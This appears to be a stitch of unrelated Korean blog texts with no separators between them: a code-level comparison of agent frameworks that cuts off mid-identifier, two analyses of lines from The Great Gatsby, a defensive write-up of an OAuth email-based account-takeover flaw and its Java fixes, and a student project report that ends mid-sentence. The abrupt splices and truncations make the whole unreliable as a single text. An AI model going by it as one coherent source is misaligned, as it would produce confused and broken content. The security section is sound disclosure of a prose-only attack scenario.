0. 들어가며 개인적으로 사내 에이전트 기반 제품 개발 프로젝트를 리드할 때에는 오픈소스 프레임워크를 사용하지는 않았습니다. 당시 검토한 오픈소스 프레임워크는 제품에 필요한 범위에 비해 방대하고 무거웠기 때문에 필요한 개념만 취해서 팀에서 직접 구현하는 식이었습니다. 그러다가 26년 기준 에이전트 프레임워크의 세계는 어떻게 변했을지, 각 프레임워크별 차이가 무엇이고 어떤 설계 사상과 기준이 반영돼 있을지 코드 수준에서 알아보고 싶어졌습니다. 그래서 Codex의 도움을 받아 주요 오픈소스 프레임워크의 실제 실행 경로를 따라가 봤습니다. 오늘 글에서는 기능 지원 여부를 나열하기보다, 각 프레임워크가 ‘Agent를 실행한다’는 문제를 어떻게 다르게 풀고 있는지를 중심으로 살펴보겠습니다. Framework 코드에서 드러나는 핵심 구조 LangGraph 상태를 가진 Graph Runtime 이 실행을 주도 OpenAI Agents SDK Agent와 Runner를 중심으로 한 명확한 Agent Loop Google ADK Agent를 Workflow를 구성하는 Node 로 통합 Microsoft Agent Framework Agent 실행에 Context·Session·Workflow 를 함께 결합 PydanticAI Agent 내부를 Typed State Machine / Graph 로 구현 CrewAI Role·Task 기반 구조에 Flow / Planning Runtime 을 결합 smolagents ReAct Loop가 직접 드러나며 CodeAgent를 주요 특징으로 하는 최소 추상화 Strands Agent Loop에서 Runtime / Harness 영역으로 확장 1. 다 지원한다는데, 왜 Agent Framework는 이렇게 많이 필요한가? 주요 Agent Framework의 기능을 표로 정리해보면 생각보다 큰 차이가 없어 보이는데요. Tool Calling, Memory나 State, Multi-Agent, Human-in-the-loop, Persistence 같은 기능은 이제 대부분의 프레임워크가 지원합니다. Framework Tool Memory / State Multi-Agent HITL Persistence LangGraph O O O O O OpenAI Agents SDK O O O O O Google ADK O O O O O Microsoft Agent Framework O O O O O PydanticAI O O O O O CrewAI O O O O O smolagents O O O 제한적 제한적 Strands O O O O O 이 표만 보면 어떤 프레임워크를 사용해도 크게 다르지 않아 보입니다. 문제는 같은 기능 이름이 실제로 같은 동작을 의미하지 않는다는 것 입니다. 예를 들어 Multi-Agent 는 어떤 프레임워크에서는 다른 Agent를 Tool처럼 호출하고 결과만 돌려받는 것을 의미하지만, 다른 프레임워크에서는 대화의 주도권 자체를 넘기는 Handoff이거나 Graph의 다른 Node나 Subgraph로 이동하는 것을 의미합니다. Persistence 역시 대화 내역을 저장하는 것부터 중단된 Agent Run을 이어가는 것, 실행 중이던 Graph의 어느 단계까지 완료됐는지를 복구하는 것까지 범위가 다릅니다. 그래서 Tool 지원 O , Multi-Agent 지원 O 같은 기능표에서 한 단계 더 내려가 실제 코드를 살펴보았습니다. 가장 작은 실행 단위가 무엇인지, 다음 행동을 Model과 Framework 중 누가 결정하는지, 무엇을 State로 저장하고 어디까지 복구하는지 등등 핵심 개념들을 코드 수준에서 따라가보니 프레임워크별 차이가 훨씬 선명하게 드러났습니다. 2. Loop: Agent 실행의 가장 기본적인 형태 Agent를 가장 단순하게 구현하면 Model을 호출하고, 필요한 Action을 실행하고, 그 결과를 다시 Model에 넣는 과정을 종료 조건이 충족될 때까지 반복 하게 되는데, 이런 실행 구조를 보통 Agent Loop 라고 부릅니다. OpenAI Agents SDK, Google ADK, Strands 등을 보면 형태는 다르지만 내부에 이런 반복 구조가 존재합니다. 차이는 '한 번'의 단위를 어떻게 정할 것인가 , 그리고 반복을 계속할지 누가 결정하는가 입니다. 가장 직접적인 형태는 smolagents 에서 볼 수 있습니다. smolagents 는 2024년 12월 31일 Hugging Face가 처음 공개한 오픈소스 Agent 라이브러리로, 기존 transformers.agents 의 후속 프로젝트입니다. Hugging Face는 공개 당시부터 가능한 한 적은 추상화로 Agent를 구현 하는 것을 주요 방향으로 제시했습니다. ( Hugging Face의 smolagents 최초 공개 글 ) 그럼 실제 코드를 열어볼까요? agents.py 의 MultiStepAgent._run_stream() 을 보면 Loop의 종료 조건을 알 수 있습니다. self.step_number = 0 ...(중간 생략) self.step_number = 1 returned_final_answer = False while not returned_final_answer and self.step_number <= max_steps: ... Source: Hugging Face smolagents · src/smolagents/agents.py · MultiStepAgent._run_stream() · Apache-2.0 · 2026-10-01 main 기준 · 코드 원문 MultiStepAgent 의 중심에는 ActionStep을 반복하는 ReAct Loop가 있습니다. 여기에 필요에 따라 Action Step 사이에 별도의 PlanningStep을 실행할 수 있고, 각 Step에는 callback, error handling, final-answer validation 같은 실행 제어도 붙습니다. 핵심 Control Flow가 직접적으로 드러난다는 점에서 다른 프레임워크보다 구조를 읽기 쉽습니다. _step_stream() 의 정의를 볼까요? def _step_stream( self, memory_step: ActionStep ) -> Generator[ChatMessageStreamDelta | ToolCall | ToolOutput | ActionOutput]: """ Perform one step in the ReAct framework: the agent thinks, acts, and observes the result. Yields ChatMessageStreamDelta during the run if streaming is enabled. At the end, yields either None if the step is not final, or the final answer. """ Source: Hugging Face smolagents · src/smolagents/agents.py · MultiStepAgent._step_stream() · Apache-2.0 · 2026-10-01 main 기준 · 코드 원문 주석을 번역해보면 다음과 같습니다. "ReAct 프레임워크의 한 단계를 수행합니다. 에이전트는 사고하고(think), 행동한 뒤(act), 그 결과를 관찰합니다(observe). 스트리밍이 활성화된 경우 실행 중에 ChatMessageStreamDelta를 반환합니다. 단계가 끝나면 최종 단계가 아닌 경우 None을 반환하고, 최종 단계인 경우 최종 답변을 반환합니다." 구조를 간단히 도식화해보면 다음과 같습니다. Model이 현재까지의 Context를 보고 다음 Action을 결정하고, Framework가 그 Action을 실행합니다. 실행 결과인 Observation은 다시 Memory에 쌓이고 다음 Model 호출의 입력이 됩니다. Final Answer가 나올 때까지 이 과정이 반복됩니다. 실제로 보면 크게 ToolCallingAgent와 CodeAgent로 나뉘는데요. 각 Step에서는 모델이 다음 Action을 생성합니다. ToolCallingAgent에서는 Tool Call이 Action이 됩니다. CodeAgent에서는 실행 가능한 Python 코드가 Action이 됩니다. 실행 결과는 Observation으로 AgentMemory에 남고 다음 Step의 Model Input에 다시 포함됩니다. 이렇게 Core Loop만 놓고 보면 구조가 단순해보이죠. 하지만 다른 Framework를 더 뜯어보면, 이 기본 Loop의 골격 위에 무엇을 추가하느냐에 따라 구조가 많이 달라집니다. OpenAI Agents SDK: Loop를 Turn 단위의 상태 전이로 관리한다 OpenAI Agents SDK로 넘어가보겠습니다. 기본적인 실행 원리는 smolagents 와 크게 다르지 않습니다. Runner.run() 의 docstring을 보면, Agent를 Final Output이 만들어질 때까지 Loop로 실행한다 고 직접 설명합니다. """ Run a workflow starting at the given agent. The agent will run in a loop until a final output is generated. The loop runs like so: 1. The agent is invoked with the given input. 2. If there is a final output, the loop terminates. 3. If there's a handoff, we run the loop again, with the new agent. 4. Else, we run tool calls (if any), and re-run the loop. """ 여기서 Turn은 “한 번의 AI invocation과 그 과정에서 발생하는 Tool Call”을 묶은 단위 로 정의하고 있습니다. max_turns: The maximum number of turns to run the agent for. A turn is defined as one AI invocation (including any tool calls that might occur). Source: OpenAI Agents SDK · src/agents/run.py · Runner.run() · MIT · 2026-10-01 main 기준 코드 원문 — run.py 실제 상위 실행부를 보면 Runner 안에는 큰 while True 가 있고, Loop가 돌 때마다 current_turn 을 하나씩 증가시킨 뒤 run_single_turn() 을 호출합니다. max_turns 도 바로 이 카운터를 기준으로 검사하고 있습니다. while True: ... current_turn += 1 ... turn_result = await run_single_turn(...) Source: OpenAI Agents SDK · src/agents/run.py · AgentRunner.run() 내부 main loop · MIT · 2026-10-01 main 기준 코드 원문 — run.py 도식으로 그려볼까요? 여기서 중요한 함수가 run_single_turn() 입니다. 코드 주석을 보면 “Run a single non-streaming turn of the agent loop.” 라고 정의합니다. 한 Turn 안에서는 먼저 현재 Agent의 System Prompt와 Prompt 설정을 가져오고, 사용할 Handoff와 Tool 목록, Output Schema를 결정합니다. 이전 Turn까지 생성된 Item도 현재 입력과 합쳐 Model Input을 만듭니다. 그리고 실제 Model 호출은 get_new_response() 로 넘어갑니다. new_response = await get_new_response(...) ... return await get_single_step_result_from_response(...) Source: OpenAI Agents SDK · src/agents/run_internal/run_loop.py · run_single_turn() · MIT · 2026-10-01 main 기준 코드 원문 — run_loop.py 이 두 호출 사이가 OpenAI Agents SDK의 한 Turn을 이해하는 데 중요합니다. get_new_response() 는 말 그대로 현재 Turn의 Model 호출을 담당합니다. 현재 Agent와 RunConfig에서 Model과 Model Settings를 가져온 다음 model.get_response() 를 호출하는데, 이때 단순한 Prompt만 넘기는 것이 아니라 현재 사용할 Tool, Output Schema, Handoff 목록도 함께 전달하는 것입니다. 현재까지 단계를 요약해볼까요? 흥미로운 부분은 그 다음입니다. Model이 돌려준 ModelResponse 를 Runner가 곧바로 검사해서 “Tool을 실행할지, Handoff할지, 끝낼지”를 결정하지 않습니다. 먼저 get_single_step_result_from_response() 로 넘기고, 여기서 process_model_response() 를 호출해 Provider가 반환한 Raw Output을 SDK가 이해할 수 있는 실행 단위로 변환 합니다. processed_response = process_model_response(...) ... return await execute_tools_and_side_effects(...) Source: OpenAI Agents SDK · src/agents/run_internal/turn_resolution.py · get_single_step_result_from_response() · MIT · 2026-10-01 main 기준 코드 원문 — turn_resolution.py Run Item Lifecycle 이 중간 단계가 필요한 이유는 Model의 출력이 하나의 종류가 아니기 때문입니다. 한 번의 Model 호출에서는 일반적인 Assistant Message뿐 아니라 Function Tool Call, Handoff를 나타내는 Tool Call, Computer Action, Shell Call, Approval이 필요한 호출 등이 함께 나올 수 있습니다. OpenAI Agents SDK는 이 Provider Output을 두 종류의 내부 표현으로 나눕니다. 첫 번째는 RunItem 입니다. 이것은 해당 Turn에서 “무슨 일이 발생했는가”를 표현하는 공개적인 기록 같은 것입니다. 이후 RunResult , Streaming Event, Session History, Trace 등에 사용됩니다. 두 번째는 실제로 SDK가 실행해야 할 내부 Tool Run Record 입니다. 예를 들어 Function Tool Call이라면 SDK가 실제로 호출할 Python Tool 객체, Call ID, Routing 정보, Approval 상태 등을 함께 보존하는 것입니다. 공식 Runner 내부 문서를 보면 이 구분이 명시되어 있습니다. process_model_response() 는 ModelResponse.output 을 public RunItem 과 internal executable tool-run record로 변환해 ProcessedResponse 에 담는다 고 설명합니다. process_model_response() converts recognized output into public RunItem objects and internal executable tool-run records in ProcessedResponse . 출처: https://github.com/openai/openai-agents-python/blob/main/src/agents/run_internal/turn_resolution.py ProcessedResponse 는 이 둘을 한데 모아 현재 Turn에서 무엇이 생성됐고, 그중 실제로 무엇을 실행해야 하는지 를 정리한 중간 표현입니다. 예를 들어 모델이 다음과 같은 응답을 냈다고 가정해보겠습니다. - 일반 메시지 - get_weather() 호출 - transfer_to_support_agent() 호출 Provider 입장에서는 모두 하나의 Model Response 안에 들어 있는 Output Item입니다. 하지만 Runner 입장에서는 성격이 전혀 다릅니다. 일반 메시지는 결과와 History에 남길 RunItem get_weather() 는 실제 Function Tool을 찾아 실행해야 하는 작업 transfer_to_support_agent() 는 단순 Function Tool이 아니라 현재 Agent를 교체할 수 있는 Handoff 후보 그래서 process_model_response() 단계는 말하자면 “Model이 무엇을 출력했는가”를 “SDK가 무엇을 해야 하는가”로 번역 하는 것이지요. 공식 문서에서도 이 처리 흐름을 다음 순서로 설명합니다. Provider adapter가 ModelResponse.output 을 반환하면, process_model_response() 가 이를 ProcessedResponse 로 바꾸고, 이후 Tool 실행과 Handoff 처리가 Output Item을 추가한 뒤 SingleStepResult.next_step 을 결정합니다. "Tool execution and handoffs add output items and choose a SingleStepResult.next_step ." 출처: https://github.com/openai/openai-agents-python/blob/main/.agents/references/run-item-lifecycle.md 여기서 execute_tools_and_side_effects() 가 다음 단계입니다. process_model_response() 가 무엇을 실행해야 하는지 발견하고 구조화하는 단계 라면, 이 함수는 실제 Side Effect를 발생시키고 그 결과를 바탕으로 Control Flow를 결정합니다. 이 구분은 의도적으로 설계된 것입니다. OpenAI Agents SDK의 Tool Execution 문서는 process_model_response() 가 실행할 수 있는 작업을 찾아내는 단계와, 실제로 지금 실행해도 되는 작업을 결정하는 단계를 분리한다고 설명합니다. Approval이 필요한 호출인지, 이미 중단됐다가 재개된 실행인지, 동일한 Tool Call을 다시 실행하면 안 되는 상황인지 등을 Tool 실행 전에 별도로 판단하기 위해서입니다. “process_model_response() discovers executable work, but tool_planning.py decides which work may run now. ” 출처: https://github.com/openai/openai-agents-python/blob/main/.agents/references/tool-execution-lifecycle.md 같은 문서에서는 이 단계를 더 명확하게 다음처럼 설명합니다. “Keep discovery, approval partitioning, and invocation as separate phases.” 또 재개된 실행에서 이미 완료한 Tool Call을 다시 실행하지 않아야 한다는 점도 명시합니다. “A resumed interruption must execute unresolved or newly approved work without rediscovering or rerunning completed calls.” 예를 들어 Human Approval이 필요한 Tool이라면 Model이 Tool Call을 생성했다고 해서 바로 실행하면 안 됩니다. 이 구조 덕분에 Model Output의 해석과 실제 실행을 분리할 수 있습니다. 특히 이후에 등장하는 Approval, Tool deduplication, interruption/resume, Handoff 같은 기능은 이 분리가 있어야 안정적으로 처리할 수 있습니다. 여기까지 처리된 뒤에야 execute_tools_and_side_effects() 가 실제 Tool을 실행하고 Handoff나 Approval을 처리한 다음, 결과를 SingleStepResult.next_st
그녀의 목소리는 돈으로 가득차 있죠. 그 문장은 《위대한 개츠비》 전체를 관통하는 가장 아름다우면서도 잔인한 통찰을 담고 있는 문장 중 하나입니다. 단순히 "그녀가 부유하다"는 사실을 말하는 것이 아니라, 계급, 욕망, 그리고 개츠비가 도달하고자 하는 '그 무엇'의 본질 을 청각적인 이미지로 형상화한 것이기 때문입니다. 이 문장이 갖는 다층적인 의미를 세 가지 관점에서 분석해 보겠습니다. 1. '올드 머니(Old Money)'의 압도적인 아우라 이 소설에서 가장 중요한 갈등 중 하나는 '대물림된 부(Old Money)'와 '자수성가한 부(New Money)' 사이의 간극 입니다. 데이지의 부(Old Money): 데이지의 부는 노력해서 얻은 것이 아니라, 태생적으로 주어진 것입니다. 그녀의 목소리에 '돈이 가득 차 있다'는 것은, 그녀가 돈을 의식하거나 그것을 과시하려 애쓰지 않아도, 그녀의 존재 자체가 부(富) 그 자체와 하나로 녹아들어 있음 을 의미합니다. 그것은 여유로움, 세련됨, 그리고 타인과 구별되는 근본적인 귀족적 분위기로 나타납니다. 개츠비의 부(New Money): 반면 개츠비의 부는 필사적인 노력과 부정한 방법으로 쌓아 올린, '노력의 결과물'입니다. 그는 돈을 통해 데이지에게 도달하려 하지만, 데이지가 가진 그 '태생적인 여유(돈이 섞인 목소리)'는 돈을 아무리 많이 가져도 살 수 없는 영역입니다. 따라서 이 문장은 데이지가 가진 계급적 우월성과, 개츠비가 결코 넘볼 수 없는 사회적 벽 을 상징합니다. 2. 대상의 '객체화'와 '이상화' 개츠비의 시선에서 이 말은 매우 비극적입니다. 개츠비에게 데이지는 단순한 '사랑하는 여자'를 넘어, 자신의 꿈(Dream)이 형상화된 존재 입니다. 그는 데이지를 사랑하는 것이 아니라, 자신이 도달하고자 하는 '완벽한 삶의 상태'를 데이지라는 인물에 투사 하고 있습니다. 그녀의 목소리에서 돈의 소리를 듣는다는 것은, 그가 그녀를 한 인간으로 보는 것이 아니라 자신의 결핍을 채워줄 '가장 가치 있는 보석'이나 '성배(Holy Grail)'로 보고 있음 을 의미합니다. 즉, 그녀는 인격체가 아니라 그가 쫓는 '꿈의 음파(Sound of the Dream)'인 셈입니다. 3. 물질과 환상의 경계가 무너진 상태 이 문장은 물질(돈)이 어떻게 인간의 본질(목소리) 속으로 침투하여 환상(사랑)으로 변모하는가 를 보여줍니다. 보통 '돈이 섞였다'는 표현은 부정적(속물적)으로 쓰이기 쉽지만, 개츠비에게는 그것이 황홀한 매력 으로 다가옵니다. 그는 그녀의 목소리에서 들리는 그 부유함과 여유로움에 매료됩니다. 이는 현대 사회에서 우리가 어떤 화려한 겉모습이나 사회적 지위를 보고 "저 사람에게는 품격(혹은 아우라)이 느껴진다"고 말하는 것과 비슷하지만, 그 본질이 철저히 '자본'에 뿌리를 두고 있다는 점을 냉소적으로 보여주는 것이기도 합니다. 결론적으로, "그녀의 목소리는 돈으로 가득 차 있다"는 말은, 개츠비가 쫓는 '꿈'이 결국은 극도로 물질적인 것에 기반하고 있으며, 동시에 그 꿈이 결코 손에 잡을 수 없는 '계급적 본질'을 품고 있음 을 폭로하는 문장입니다. 이 문장을 읽으실 때, 단순히 "부자라서 부럽다"는 느낌을 넘어, "인간의 열망이 어디까지 물질과 결합할 수 있는가" 혹은 "우리가 사랑한다고 믿는 것이 사실은 그 사람이 가진 조건의 잔향(Resonance)은 아닌가" 하는 서늘한 질문을 던지셨을지도 모르겠습니다.
"소셜 로그인은 당연히 공급자(Google, Kakao, Naver)가 이메일을 인증해 줬겠지?" 이 안일한 가정 하나가 서비스 전체의 관리자 계정 탈취(Account Takeover) 취약점으로 이어질 수 있습니다. 실제 서비스 운영 중 코드 리뷰를 진행하다가 발견한 치명적인 OAuth 계정 선점 및 탈취 취약점 과, 이를 프로덕션 무중단 배포로 안전하게 방어해 낸 과정을 공유합니다. 🚨 1. 문제의 발단: 어떻게 계정이 털릴 수 있었을까? 기존 시스템의 소셜 로그인 로직은 일반적인 웹 서비스들과 비슷하게 구성되어 있었습니다: 사용자가 카카오/구글/네이버로 로그인 요청. IdP(공급자)가 인증 후 사용자 정보(User Info)를 넘겨줌. 백엔드의 OAuth2SuccessHandler 가 넘어온 email 문자열 을 읽음. DB에서 해당 이메일을 가진 회원이 있는지 조회: 있으면? ➡️ 기존 회원으로 판단하고 즉시 로그인(JWT 발급) 없으면? ➡️ 신규 소셜 회원가입 처리 [공격 시나리오] 1. 피해자(또는 관리자)의 이메일: admin@company.com (일반 이메일/비밀번호 가입 계정) 2. 공격자가 카카오나 타 플랫폼에서 admin@company.com을 임의로 입력하여 소셜 계정 생성 (이메일 인증 미완료 상태) 3. 공격자가 우리 서비스에서 "카카오 로그인" 클릭 4. 우리 서버는 넘어온 email이 "admin@company.com"이라는 이유만으로 기존 관리자 계정의 세션을 그대로 발급해버림! ➡️ 💥 비밀번호 없이 관리자 계정 로그인 성공 (Account Takeover) 더 심각했던 점은, 아직 가입하지 않은 피해자의 이메일로 공격자가 먼저 소셜 가입을 해두면, 나중에 피해자가 정식 가입을 하려고 해도 계정이 선점당하는 문제도 존재했습니다. 🔍 2. 근거와 원인 분석: 공급자(IdP)의 이메일을 무조건 믿으면 안 되는 이유 소셜 공급자마다 '이메일 인증 여부' 를 다루는 정책이 완전히 다릅니다: 공급자 이메일 인증 여부 필드 특징 Google email_verified (boolean) 대부분 true이지만 예외적인 경우(도메인 미인증 계정 등) false 가능 Kakao kakao_account.is_email_verified 이메일 인증을 안 거친 계정도 존재할 수 있음! (is_email_valid도 별도 존재) Naver ❌ 인증 여부 필드를 아예 안 줌 네이버는 응답 객체에 이메일 인증 여부 플래그 자체가 없음 문제의 코드 (Before) // 기존 OAuth2UserInfo - 공급자가 넘겨준 email 문자열만 그대로 추출 public class OAuth2UserInfo { private String email; public static OAuth2UserInfo of(String registrationId, Map<String, Object> attributes) { // ... 공급자별 파싱 로직 // ❌ 치명적 실수: 공급자가 '이 이메일의 소유권을 인증했는지' 확인하는 플래그를 전혀 읽지 않음! return new OAuth2UserInfo(email); } } 결국 "공급자가 넘겨준 이메일은 이미 검증된 이메일일 것이다"라는 암묵적 가정 이 보안 구멍을 만든 근본 원인이었습니다. 🛠️ 3. 해결 방안: 어떻게 방어했을까? 이 취약점을 해결하기 위해 3중 방어 체계를 구축했습니다. 1 공급자별 이메일 인증 여부(emailVerified) 필수 해석 public class OAuth2UserInfo { private String email; private boolean emailVerified; // 인증 여부 필드 추가 public static OAuth2UserInfo ofKakao(Map<String, Object> attributes) { Map<String, Object> account = (Map<String, Object>) attributes.get("kakao_account"); String email = (String) account.get("email"); // 카카오: 인증 여부(is_email_verified)와 유효성(is_email_valid) 모두 확인 boolean verified = Boolean.TRUE.equals(account.get("is_email_verified")) && Boolean.TRUE.equals(account.get("is_email_valid")); return new OAuth2UserInfo(email, verified); } public static OAuth2UserInfo ofNaver(Map<String, Object> attributes) { // 네이버: 인증 여부 필드를 제공하지 않으므로 기본적으로 '미확인(false)' 처리 return new OAuth2UserInfo(email, false); } } 2 OAuth2SuccessHandler 교차 로그인 보안 규칙 강화 구글 / 카카오 (미인증 이메일) : 기존 계정이 있더라도 로그인을 단호히 거절 하고 에러 페이지로 리다이렉트 ( /login?error=unverified_email ). 사용자에게 해당 소셜 플랫폼에서 이메일 인증을 완료하고 오도록 안내. 네이버 (인증 여부 미제공) : 기존 계정의 가입 방식(Provider)이 이미 NAVER일 때만 로그인 허용 . 기존 계정이 일반 이메일 가입자라면 자동으로 엮지 않고 명시적인 계정 연동을 요구 ( /login?error=link_required ). 3 후속 아키텍처 개선: 이메일이 아닌 '소셜 고유 식별자(ID)'로 1순위 식별 이메일은 변경될 수 있고 공급자 정책에 따라 위험이 따르므로, 장기적으로는 social_accounts 매핑 테이블을 두고 소셜 고유 ID로 식별하도록 개선했습니다: Google: sub Kakao: id Naver: response.id 최초 1회만 엄격한 인증 검증 후 연동을 맺어두면, 이후에는 소셜 쪽 이메일 상태와 무관하게 안전하고 빠른 로그인이 보장됩니다. 🧪 4. 검증 결과 단위 테스트 작성 : OAuth2SuccessHandlerTest (8개 시나리오 - 미인증 이메일 거절, 교차 연동 차단 등 100% 검증) 전체 회귀 테스트 336개 ALL PASS 운영 배포 : 다운타임 없이 안전하게 배포 완료, 기존 정상 인증 회원들의 로그인에는 영향 없이 비정상 접근만 완벽 차단. 💡 이번 트러블슈팅을 통해 얻은 교훈 외부 플랫폼(IdP)의 데이터를 맹신하지 말 것 : "구글/카카오니까 당연히 검증되었겠지"라는 생각이 가장 위험합니다. 이메일을 소셜 계정의 유일한 식별자로 쓰지 말 것 : 이메일 대신 공급자의 고유 회원 식별 번호( sub , id )를 Key로 사용하는 것이 정석입니다. 보안 검증은 반드시 서버에서 강제할 것 : 프론트엔드 화면에서 아무리 가드를 쳐도, 엔드포인트 직통 호출을 막으려면 백엔드 비즈니스 로직에서 인증 여부를 직접 검증해야 합니다.
4장 - 미국인들은 충성스러운 농노가 되고싶어도 소작농은 되지않겠다고 억지를 부리곤 했다. (출판사 - 더 스토리) "Americans, while willing, even eager, to be serfs, have always been obstinate about being peasantry." 다르게 번역하자면, "미국인들은 기꺼이, 아니 간절히 농노가 되고자 하면서도, 소작농이 되는 것만은 언제나 완강히 거부해 왔다." 이 문장은 미국인이 계급 자체는 받아들이면서도 "낮은 계급"이라는 딱지만은 거부하는 모순 을 꼬집는 말입니다. 농노 는 주인에게 충성하는 종속적 존재이고, 소작농 은 신분이 고정된 하층민입니다. 미국인은 부자나 권력자를 섬기고 그 밑에서 일하는 것은 기꺼이 하지만, 자신을 "아래 계급"으로 규정하는 것은 완강히 거부한다는 뜻입니다. 이는 아메리칸 드림 의 이면입니다. 누구나 올라갈 수 있다는 믿음 때문에 사람들은 지금 낮은 자리에 있어도 자신을 하층이 아니라 "성공하기 전 단계"로 여깁니다. 그래서 부와 성공의 상징 앞에서는 굽신거리면서도 계급 고착은 인정하지 않습니다. 소설 전체로 보면 개츠비를 둘러싼 사람들 이 이 모습을 보여줍니다. 그의 파티에 몰려드는 이들은 부에 매혹되어 그를 추종하지만, 자신이 사회적 위계 속에 있다는 사실은 의식하지 않습니다. 개츠비 자신도 가난한 출신을 지우고 새 신분을 만들어 낸 인물입니다. 작가 피츠제럴드는 평등을 내세우는 미국 사회가 실제로는 돈에 따른 위계가 뚜렷하며, 사람들이 그 사실을 인정하지 않을 뿐이라고 비꼬는 셈입니다. 원문은 다음과 같습니다. "Americans, while willing, even eager, to be serfs, have always been obstinate about being peasantry." 번역문과 비교하면 몇 가지 차이가 있습니다. willing, even eager : 번역문의 "충성스러운"이라는 표현은 원문에 없습니다. 원문은 농노가 되는 것을 마지못해 받아들이는 정도가 아니라 기꺼이, 심지어 간절히 원한다 는 뜻입니다. obstinate : 번역문의 "억지를 부리곤 했다"에 해당하며, 완고하게 고집을 부린다 는 뜻입니다. peasantry : 개인 소작농이 아니라 소작농이라는 계급 전체 를 가리키는 집합명사입니다. 그래서 "하층 계급이라는 신분 자체를 거부한다"는 해석이 더 잘 맞습니다. 원문 문장 하나만 보면 일반론처럼 읽히지만, 피츠제럴드는 이 문장을 냉소적인 논평으로 던져 넣은 것이므로, 앞뒤 문단과 함께 읽으면 뉘앙스가 더 분명해집니다.
작성일: 2026.09.30 (수) | 과목: Mini Project 1 지원UP 신청 전에 AI가 한 번 더 확인하는, 1인 소상공인을 위한 정부지원사업 AI 신청 도우미 1. 프로젝트 기본 정보 : Overview 항목 내용 프로젝트명 지원UP 한 줄 정의 내 사업정보로 지원사업 자격요건을 AI가 미리 검수해 주는 신청 전 도우미 진행 기간 2026.09.21 ~ 2026.09.30 (총 1주) 단계 기획 → 설계(화면 흐름·ERD·API) → 구현 1(CRUD) → 구현 2(AI·예외 처리·UI 보완) → 검증·발표 팀 구성 총 6명 — Frontend 2명, Backend·DB 3명, AI 2명 (1명 FE·AI 겸임) 역할 FE -> A 파트 + 발표자료 디자인 GitHub LGCNS-MiniProject-Group6 역할 & 기여도 : My Role & Contribution 프론트엔드 A 파트 계정 영역 담당 : 가입부터 공고 찾기까지의 화면 : 로그인, 회원가입, 휴대폰 인증, 인증 상태·토큰, 마이페이지, 프로필·사업정보 AUTH-01~07, 로고제작, footer제작, 관심공고 하트 토글 UI 공통 컴포넌트 제작 : Header, ProgramCard, SearchBar, Filter, SignupStepCard, ProgressBar API 연동 : /auth/signup , /auth/login , /users/me/business-info , /programs 발표 PPT 디자인 : Figma(Product Review 템플릿 기반)로 제작 사용 툴 & 기술 스택 : Tools & Tech 구분 사용 기술 Design Figma Frontend React, JavaScript, axios Backend·DB Spring Boot, Java, MariaDB, Redis, JWT AI Spring AI, OpenAI API Data 기업마당 Open API (공고 수집) Collab GitHub Projects, Notion, Discord, Figma 2. 문제 정의 및 배경 : Problem Statement & Background 지원사업은 많지만, 내가 신청 가능한지 판단하기는 어렵다. 지원UP은 '찾기'가 아니라 '신청 직전의 판단'에 집중했다. 시장/사용자 배경 : Context 기존 서비스는 지원사업을 검색·추천하는 데 집중한다. 하지만 1인 소상공인은 복잡한 신청 조건과 자격 요건 때문에 자신이 신청 가능한 사업인지 스스로 판단하기 어렵고, 이 단계에서 시행착오가 생긴다. 핵심 문제점 : Pain Point 3가지 단계 문제 사용자가 겪는 불편 찾기 흩어진 공고 여러 사이트를 돌며 같은 공고를 중복 확인해야 함 판단하기 복잡한 조건 공고마다 자격요건이 달라 충족 여부를 직접 해석해야 하고, 적합/부적합 결과만으로는 믿기 어려움 준비하기 늦게 알아챈 서류 공고마다 다른 준비서류·주의사항을 마감 직전에야 발견함 타겟 사용자 : Target Audience 항목 내용 페르소나 박운영, 38세, 온라인 쇼핑몰 대표(3년차) 상황 매출은 있지만 지원사업은 첫 신청 한마디 "공고 찾느라 본업할 시간이 없어요." 핵심 니즈 시간 절약 + 의사결정 신뢰 — "빠르고 정확하게 결정할 수 있다" P/G Pain → Gain 여러 사이트 중복 확인 → 한 곳에서 매칭·검수·저장 공고마다 다른 서류·조건 → 신청 전 확인사항으로 정리 적합/부적합만으론 못 믿음 → 내 사업정보 기반 판단 근거 탐색할 시간 없음 → 맞춤 공고 우선 노출 프로젝트 목표 사용자가 사업정보를 입력하고 지원사업을 고르면 → AI가 신청 가능 여부·판단 근거·필수 확인사항 을 한 화면에 보여주는 전체 흐름을 시연 가능하게 만드는 것. → 실제 접수, 사업계획서 자동 작성, 100% 자동 판정은 범위에서 제외. 3. UX 설계 및 해결 과정 : UX Process & Solution 사업정보 입력 → 탐색 → AI 검수 → 근거·서류 → 챗봇·저장 5단계로 끝나는 신청 전 검수 흐름을 설계 정보 구조 1depth 주요 화면 / 기능 계정 로그인, 회원가입(기본정보 → 세부 사업정보, 건너뛰기 가능), 휴대폰 인증 홈(메인) 맞춤 추천 카드(AI 검수결과 조회·상세보기), 키워드 검색, 필터, 카테고리 지원사업 공고 목록(지역·접수상태·마감임박순 필터), 공고 상세 AI 검수 조건별 충족 / 추가 확인 필요 / 미충족 판정 + 근거·준비서류·마감일 AI 챗봇 공고문·검수 결과 기반 질의응답 마이페이지 검수 기록, 관심공고·지원공고 모아보기, 프로필·사업정보 수정, 탈퇴 유저 플로우 : User Flow [로그인·회원가입] → [사업정보 등록] → [홈·맞춤 추천] → [공고 목록·상세] │ (건너뛰기 가능) ▲ │ └──────────────────────────────────┘ ▼ [마이페이지 저장] ← [AI 챗봇 질의응답] ← [근거·준비서류] ← [AI 신청 전 검수] 가입 시 사업정보를 건너뛸 수 있지만, 입력해 두면 추천·검수에 자동 반영되어 공고 상세에서 바로 AI 검수로 넘어간다. 핵심 UX 솔루션 : Key UX Features 1. AI 신청 전 검수 — '판단하기' 문제 해결 사업정보와 공고 자격요건을 AI가 조건별로 비교해 MATCHED · NEED_CHECK · UNMATCHED 3단계로 표시 판단 근거가 된 공고문 페이지·문장을 함께 보여줘, 결과만 던지는 대신 사용자가 근거를 직접 확인할 수 있게 함 2. 사업정보 1회 입력 + 맞춤 공고 목록 — '찾기' 문제 해결 지역·업종·개업일·사업자 유형·상시근로자 수·연 매출을 한 번 저장하면 추천·검수에 자동 반영 기업마당 공고를 한 곳에 모아 카드형 목록으로 보여주고, 지원가능성·마감일(D-day) 뱃지로 훑어보기 쉽게 구성 3. 근거·준비서류 정리 + AI 챗봇 — '준비하기' 문제 해결 조건별 준비서류·주의사항·신청 마감일을 한 화면에 정리 판정 사유 등 궁금한 점은 공고 기반 챗봇으로 바로 질문하고, 결과는 마이페이지에 저장 초기 와이어프레임 → 최종 UI 변천사 : Iteration _※ Develop 필요 _ 구분 Before After 계기 회원가입 (작성 필요) 기본정보 → 세부 